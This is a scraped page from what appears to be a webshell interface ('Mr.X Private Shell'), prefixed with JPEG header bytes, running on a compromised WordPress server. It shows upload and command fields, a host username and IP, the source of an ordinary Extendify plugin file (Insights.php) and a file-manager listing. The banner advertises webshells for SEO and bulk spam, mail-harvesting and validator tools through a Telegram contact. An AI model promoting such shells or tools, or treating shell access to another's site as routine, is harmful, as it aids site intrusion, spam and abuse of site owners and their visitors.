����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

libcmfdw@216.73.216.202: ~ $
<?php

/**
 * Insights setup
 */

namespace Extendify;

defined('ABSPATH') || die('No direct access.');

use Extendify\Shared\Services\Sanitizer;
use Extendify\PartnerData;

/**
 * Controller for handling various Insights related things.
 * WP code reviewers: This is used in another plugin and not invoked here.
 */

class Insights
{
    /**
     * An array of active tests. 'A' should be the control.
     * For weighted tests, try ['A', 'A', 'A', 'A', 'B']
     *
     * @var array
     */
    protected $activeTests = [];

    /**
     * Process the readme file to get version and name
     *
     * @return void
     */
    public function __construct()
    {
        // If there isn't a siteId, then create one.
        if (!\get_option('extendify_site_id', false)) {
            \update_option('extendify_site_id', \wp_generate_uuid4());
        }

        if (
            defined('EXTENDIFY_INSIGHTS_URL')
            && class_exists('ExtendifyInsights')
            && !\get_option('extendify_insights_checkedin_once', 0)
        ) {
            \update_option('extendify_insights_checkedin_once', gmdate('Y-m-d H:i:s'));
            // WP code reviewers: This job is defined in another plugin (i.e. it's opt-in).
            \add_action('init', function () {
                // Run this once but wait 10 minutes.
                \wp_schedule_single_event((time() + 10 * MINUTE_IN_SECONDS), 'extendify_insights');
                \spawn_cron();
            });
        }

        $this->setUpActiveTests();
        $this->filterExternalInsights();
        $this->setupAdminLoginInsights();
    }

    /**
     * Returns the active tests for the user, and sets up tests as needed.
     *
     * @return void
     */
    public function setUpActiveTests()
    {
        // Make sure that the active tests are set.
        $currentTests = \get_option('extendify_active_tests', []);
        $newTests = array_map(function ($test) {
            // Pick from value randomly.
            return $test[array_rand($test)];
        }, array_diff_key($this->activeTests, $currentTests));
        $testsCombined = array_merge($currentTests, $newTests);
        if ($newTests) {
            \update_option('extendify_active_tests', Sanitizer::sanitizeArray($testsCombined));
        }
    }

    /**
     * Add additional data to the opt-in insights
     *
     * @return void
     */
    public function filterExternalInsights()
    {
        add_filter('extendify_insights_data', function ($data) {
            // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
            $readme = file_get_contents(EXTENDIFY_PATH . 'readme.txt');
            preg_match('/Stable tag: ([0-9.:]+)/', $readme, $version);

            $insights = array_merge($data, [
                'launch' => Config::$showLaunch,
                'launchRedirectedAt' => \get_option('extendify_attempted_redirect', null),
                'launchLoadedAt' => \get_option('extendify_launch_loaded', null),
                'partner' => defined('EXTENDIFY_PARTNER_ID') ? constant('EXTENDIFY_PARTNER_ID') : null,
                'siteCreatedAt' => SiteSettings::getSiteCreatedAt(),
                'assistRouterData' => \get_option('extendify_assist_router', null),
                'libraryData' => \get_option('extendify_library_site_data', null),
                'draftSettingsData' => \get_option('extendify_draft_settings', null),
                'activity' => \get_option('extendify_shared_activity', null),
                'domainsActivities' => \get_option('extendify_domains_recommendations_activities', null),
                'extendifyVersion' => ($version[1] ?? null),
                'siteProfile' => \get_option('extendify_site_profile', null),
                'pluginSearchTerms' => \get_option('extendify_plugin_search_terms', []),
                'blockSearchTerms' => \get_option('extendify_block_search_terms', []),
                'phpVersion' => PHP_VERSION,
                'themeSearchTerms' => \get_option('extendify_theme_search_terms', []),
                'license' => PartnerData::setting('license'),
                'pagesCount' => $this->getPostsCount('page'),
                'postsCount' => $this->getPostsCount('post'),
                'lastUpdatedPage' => $this->getLastUpdatedPost('page'),
                'lastUpdatedPost' => $this->getLastUpdatedPost('post'),
                'lastLoginAdmin' => $this->getLastAdminLogin(),
                'hasImprint' => $this->hasImprint(),
            ]);
            return $insights;
        });
    }

    /**
     * Get the number of posts/pages
     *
     * @param string $type The type of post/page to get the count for (post or page)
     * @return int The number of posts/pages
     */
    protected function getPostsCount($type = 'post')
    {
        $count = wp_count_posts($type);
        return isset($count->publish) ? (int) $count->publish : 0;
    }

    /**
     * Set up admin login insights to monitor when admin users log in
     *
     * @return void
     */
    protected function setupAdminLoginInsights()
    {
        add_action('wp_login', function ($user_login, $user) {
            // Only get insights for admin users
            if (user_can($user, 'manage_options')) {
                update_user_meta($user->ID, 'extendify_last_login', gmdate('Y-m-d H:i:s'));
            }
        }, 10, 2);
    }

    /**
     * Get the last time a post/page was updated
     *
     * @return string|null The last updated post timestamp or null if no posts found
     */
    protected function getLastUpdatedPost($type = 'post')
    {
        $posts = get_posts([
            'post_type' => $type,
            'post_status' => 'publish',
            'orderby' => 'modified',
            'order' => 'DESC',
            'numberposts' => 1,
            'fields' => 'ids'
        ]);

        if (!empty($posts)) {
            $post = get_post($posts[0]);
            return $post ? $post->post_modified : null;
        }
        return null;
    }

    /**
     * Get the last time an admin user logged in
     *
     * @return string|null The most recent admin login timestamp or null if no data found
     */
    protected function getLastAdminLogin()
    {
        $admins = get_users([
            'role' => 'administrator',
            'meta_key' => 'extendify_last_login',
            'orderby' => 'meta_value',
            'order' => 'DESC',
            'number' => 1
        ]);

        if (!empty($admins)) {
            return get_user_meta($admins[0]->ID, 'extendify_last_login', true);
        }
        return null;
    }

    /**
     * Check if the site has an imprint based on the site profile and language settings
     *
     * @return bool True if the site has an imprint, false otherwise
     */
    protected function hasImprint()
    {
        $siteProfile = \get_option('extendify_site_profile', []);
        if (empty($siteProfile)) {
            return false;
        }

        $imprintLanguages = array_filter(PartnerData::setting('showImprint') ?? [], function ($value) {
            return $value === get_locale();
        });

        return !empty($imprintLanguages) && (strtolower($siteProfile['aiSiteCategory']) === 'business' ||
            strtolower($siteProfile['category']) === 'business');
    }
}

Filemanager

Name Type Size Permission Actions
Agent Folder 0755
Assist Folder 0755
AutoLaunch Folder 0755
Draft Folder 0755
HelpCenter Folder 0755
Launch Folder 0755
Library Folder 0755
PageCreator Folder 0755
PluginNotifications Folder 0755
Recommendations Folder 0755
Shared Folder 0755
AdminPageRouter.php File 12.67 KB 0644
ApiRouter.php File 2.29 KB 0644
Config.php File 4.94 KB 0644
Insights.php File 7.15 KB 0644
PartnerData.php File 11.32 KB 0644
SiteSettings.php File 1.31 KB 0644